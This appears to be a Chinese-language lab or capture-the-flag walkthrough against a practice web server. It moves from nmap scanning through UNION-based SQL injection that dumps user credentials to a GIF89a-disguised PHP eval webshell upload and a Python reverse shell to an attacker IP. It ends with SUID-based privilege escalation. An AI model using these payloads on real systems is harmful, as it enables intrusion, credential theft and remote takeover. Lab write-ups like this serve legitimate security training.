1st 使用nmap、goby扫描出目标主机并收集相关信息
nmap 扫描
使用nmap -sV 扫描开启的相关服务
搜集到mac地址、系统为ubuntu 、http apache服务 开启80端口 22端口
goby 扫描
设置网段、端口开始扫描
扫描结果:发现开启80端口 Apache web服务 开启22端口 25端口
2ed 通过80端口进行访问,进一步收集信息
注册、登录
通过访问页面发现只有登录窗口,并且附带注册页面
先进行注册进一步寻找信息
点击注册按键进行注册
(同时猜测注册窗口可能存在上传一句话木马病毒漏洞)
注册后进行登录
发现搜索框 猜测可能存在xss漏洞与sql注入漏洞
单点搜多按键发现出现多条数据
通过单点回显猜测背后查询语句
单次点击后出现15条数据,初步猜测使用模糊查询
select * from books where name like '%name1%' ;
通过输入前两个字母发现能搜出相关内容确认使用了模糊查询
再次输入中间数据进行验证语句
发现并没有数据返回确认模糊查询只对后面进行模糊查询,确认基本语句为:
select * from books where name like 'name1%' ;
可能还会存在更复杂语句嵌套,暂时先确认到此。
验证sql注入是否存在
1、使用单引号判断法
osint'
发现既没有回显也没有报错
猜测两种可能:
1.会对单引号进行转义
2.报错回显并不会出现在前端页面
2、通过拼接’1’=’1’和’1’=’2’来进行判断
osint' and '1'='1' ; #
语句成功回显
osint' and '1'='2' ; #
回显消失,确定此输入框存在sql注入漏洞
3rd 进行sql注入
使用order by语句对回显字段数进行查询
osint' order by 3 ; #
因为回显框存在三个数据所以从3开始尝试
3个字段回显正常说明返回字段数为>=3
在对4个字段进行测试
回显为空,确认此语句查询返回结果为3个字段
使用 union进行联合查询 (深入挖掘数据库信息)
先确定3个回显数据在前端页面所对应位置
1' union select 1,2,3; #
借助database()查询当前所在数据库名称
1' union select database(),2,3 ; #
获取到数据库名称
借助information_schema数据库再次进一步深挖数据库信息
解释information_schema
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
其中存放表名的数据表为tables 、 存放字段名的数据表为columns
查询webapphacking数据库中的表格
1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema = 'webapphacking' ; #
发现books、users 两个数据表
查询users表中包含的字段
1' union select group_concat(column_name),2,3 from information_schema.columns where table_name = 'users' ;#
发现重要user字段与password字段
查询users表中user字段与password字段数据
1' union select group_concat(user),group_concat(pasword),3 from users; #
正确回显但是由于数据过多,不易查看,在此去掉group_concat(),再次查询。
1' union select user,pasword,3 from users; #
发现superadmin用户,对加密密码进行解密。
4th MD5解密
打开百度搜索 MD5在线解密
在百度进行解密
拿到superadmin用户密码Uncrackable
5th 文件上传漏洞
使用superadmin用户进行登录
发现存在文件上传入口要求上传文件格式为图片
通过制作图片马来尝试上传一句话木马
两种方式制作图片马
方法一: 通过书写图片头制作
方法二:通过将木马文件拼接到图片后得到
GIF89a<?php @eval($_POST[shell]); ?>
使用kali抓包修改进行文件上传
在点击提交前打开bp拦截、进行抓包
打开后点击提交,将抓取到的包发到repeater
将shell.jpg 修改为 shell.php
放包查看返回包内容
发现文件上传成功,并且保存到uploads文件夹下
尝试访问上传的一句话木马
发现页面只有拼接的图片头证明一句话木马成功执行
6th 打开中国蚁键接受反弹信息
打开中国蚁键 —— 右击 —— 点击添加数据
填好数据后点击测试链接,连接成功点击添加
点击文件管理初步查看靶机文件内容
准备在中国蚁键上传python代码 进行nc反弹
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.65.128",443))//kali ip 与 kali监听端口 os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/bash","-i"])
上传成功后,右击点击在此处打开终端。
与此同时在kali端打开nc进行监听
打开监听后在蚁键终端内运行python反弹代码
成功反弹到终端
7th 漏洞提权
使用find查询可以进行suid的文件
find / -perm -u=s -type f 2>/dev/null
发现home目录下有一文件
find touchmenot -exec "whoami" \; find touchmenot -exec "/bin/sh" \;
执行完之后发现提权失败
进入到touchmenot所在目录
使用ls-la查看文件
使用cat对文件内容进行查看
发现全都为乱码,猜测此为二进制文件
因为此文件在查询拥有suid权限时出现,猜测执行此二进制文件能够提权成功
执行完之后发现提权成功